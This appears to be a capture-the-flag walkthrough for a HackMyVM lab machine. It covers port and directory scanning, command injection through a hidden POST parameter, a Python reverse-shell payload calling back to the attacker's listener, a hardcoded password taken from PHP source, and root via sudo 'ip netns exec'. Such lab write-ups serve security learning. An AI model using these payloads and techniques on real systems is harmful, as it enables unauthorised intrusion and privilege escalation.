Scan ports first.
nmap -sV -sC -p- -oN ports.log 192.168.56.100
Nmap scan report for bogon (192.168.56.100)
Host is up (0.0025s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 4b:24:34:1f:41:10:88:b7:5a:6a:63:d9:f6:75:26:6f (RSA)
| 256 52:46:e7:20:68:c1:6f:90:2f:a6:ad:ee:6d:87:e7:28 (ECDSA)
|_ 256 3f:ce:97:a9:1e:f4:60:f4:0e:71:e7:46:58:28:71:f0 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Test Page for the Nginx HTTP Server on Fedora
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Enum port 80, remember to enable .htm ext.
~ gobuster dir -u http://192.168.56.100 -t 50 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .htm,.html,.php,.txt,.php.bak,.bak,.zip -b
401,403,404,500 --wildcard -o 80.log --exclude-length 3690
===============================================================
/index.htm (Status: 200) [Size: 344]
/note.txt (Status: 200) [Size: 23]
/secret.php (Status: 302) [Size: 0] [--> https://images-na.ssl-images-amazon.com/images/I/31YDo0l4ZrL._SX331_BO1,204,203,200_.jpg]
Check source code of index.htm.
~ curl http://192.168.56.100/index.htm fish-0 | 0 [09:45:55]
<h1>It's Hacking Time</h1>
<img src="hacker.gif" alt="Hacker" height="640" width="640">
<img hidden="true" src="office.gif" alt="hahahahaha" height="640" width="640">
<form action="/secret.php" hidden="true" method="GET">
<input type="text" name="HackMyVM" value="" maxlength="100"><br>
<input type="submit" value="Submit">
</form>
With the hint from index.htm, we can call secret.php with param HackMyVM.
~ curl 'http://192.168.56.100/secret.php?HackMyVM=id'
Now the main part what it is loooooool<br>Try other method⏎
Seem get method is no correct. Let's try post method.
~ curl 'http://192.168.56.100/secret.php' -d 'HackMyVM=id'
You Found ME : - (<pre>uid=33(www-data) gid=33(www-data) groups=33(www-data)
</pre>⏎
Then we can get reverse shell.
~ curl 'http://192.168.56.100/secret.php' -d 'HackMyVM=python3%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%22192.168.56.150%22,1234));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(%5B%22%2fbin%2fbash%22,%22-i%22%5D);%27'
──────────────────────────────────────────────────────────────────────────────────
& kali @ mykali in ~/Documents/method 0 [10:05:51]
~ nc -nvlp 1234
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 192.168.56.100.
Ncat: Connection from 192.168.56.100:45958.
bash: cannot set terminal process group (333): Inappropriate ioctl for device
bash: no job control in this shell
www-data@method:~/html$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@method:~/html$
Check source code of secret.php
www-data@method:~/html$ cat secret.php
cat secret.php
<?php
...
else {
header("Location: https://images-na.ssl-images-amazon.com/images/I/31YDo0l4ZrL._SX331_BO1,204,203,200_.jpg");
}
$ok="prakasaka:th3-!llum!n@t0r";
?>
Escalate to user prakasaka.
www-data@method:~/html$ su prakasaka
su prakasaka
Password: th3-!llum!n@t0r
id
uid=1000(prakasaka) gid=1000(prakasaka) groups=1000(prakasaka),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),112(bluetooth)
Log in ssh as user prakasaka, check sudo -l.
prakasaka@method:~$ sudo -l
Matching Defaults entries for prakasaka on method:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User prakasaka may run the following commands on method:
(!root) NOPASSWD: /bin/bash
(root) /bin/ip
prakasaka@method:~$ sudo ip netns add foo
prakasaka@method:~$ sudo ip netns exec foo /bin/sh
# id;hostname
uid=0(root) gid=0(root) groups=0(root)
method
